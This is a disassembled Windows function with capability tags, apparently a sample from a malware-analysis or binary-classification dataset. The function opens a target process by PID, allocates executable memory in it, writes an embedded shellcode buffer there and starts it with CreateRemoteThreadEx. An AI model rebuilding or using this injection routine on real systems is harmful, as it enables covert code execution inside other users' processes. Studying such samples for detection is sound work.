Function at 0x140011285
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400118d0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x2b0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x6c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2d8]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x268], rax
lea rcx, [0x1400240a2]
call fcn.140011389
nop
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
lea rax, [rbp + 0xb0]
lea rcx, [0x14001ad20]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xce
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x198], 0xce
cmp dword [rbp + 0x290], 2
jge 0x1400119a8
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x298]
mov r8, qword [rcx + rax]
mov rdx, qword [0x14001e008]
lea rcx, str._s_usage:__s__PID_
call fcn.14001119f
nop
mov eax, 1
jmp 0x140011bad
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x298]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x24], eax
mov r8d, dword [rbp + 0x24]
mov rdx, qword [0x14001e010]
lea rcx, str._s_trying_to_get_a_handle_to_the_process___ld__n
call fcn.14001119f
nop
mov r8d, dword [rbp + 0x24]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140011a20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001e008]
lea rcx, str._s_failed_to_get_a_handle_to_the_process__error:_0x_lx
call fcn.14001119f
nop
mov eax, 1
jmp 0x140011bad
mov r8, qword [rbp + 0x68]
mov rdx, qword [section..data]
lea rcx, str._s_got_a_handle_to_the_process_n___0x_p_n
call fcn.14001119f
nop
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x198]
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
mov r8, qword [rbp + 0x198]
mov rdx, qword [section..data]
lea rcx, str._s_allocated__zd_bytes_to_the_process_memory_w__PAGE_EXECUTE_READWRITE_permissions_n
call fcn.14001119f
nop
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x198]
lea r8, [rbp + 0xb0]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov r8, qword [rbp + 0x198]
mov rdx, qword [section..data]
lea rcx, str._s_wrote_shellcode_to_allocated_buffer__n
call fcn.14001119f
nop
lea rax, [rbp + 0x44]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140011b27
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001e008]
lea rcx, str._s_failed_to_get_a_handle_to_the_new_thread__error:__ld
call fcn.14001119f
nop
mov eax, 1
jmp 0x140011bad
mov r9, qword [rbp + 0x68]
mov r8d, dword [rbp + 0x44]
mov rdx, qword [section..data]
lea rcx, str._s_got_a_handle_to_the_newly_created_thread___ld__n___0x_p_n
call fcn.14001119f
nop
mov rdx, qword [0x14001e010]
lea rcx, str._s_waiting_for_thread_to_finish_executing_n
call fcn.14001119f
nop
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rdx, qword [section..data]
lea rcx, str._s_thread_finished_executing__cleaning_up_n
call fcn.14001119f
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [section..data]
lea rcx, str._s_finished__see_you_next_time_:_
call fcn.14001119f
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ace0]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x268]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x270]
pop rdi
pop rsi
pop rbp
ret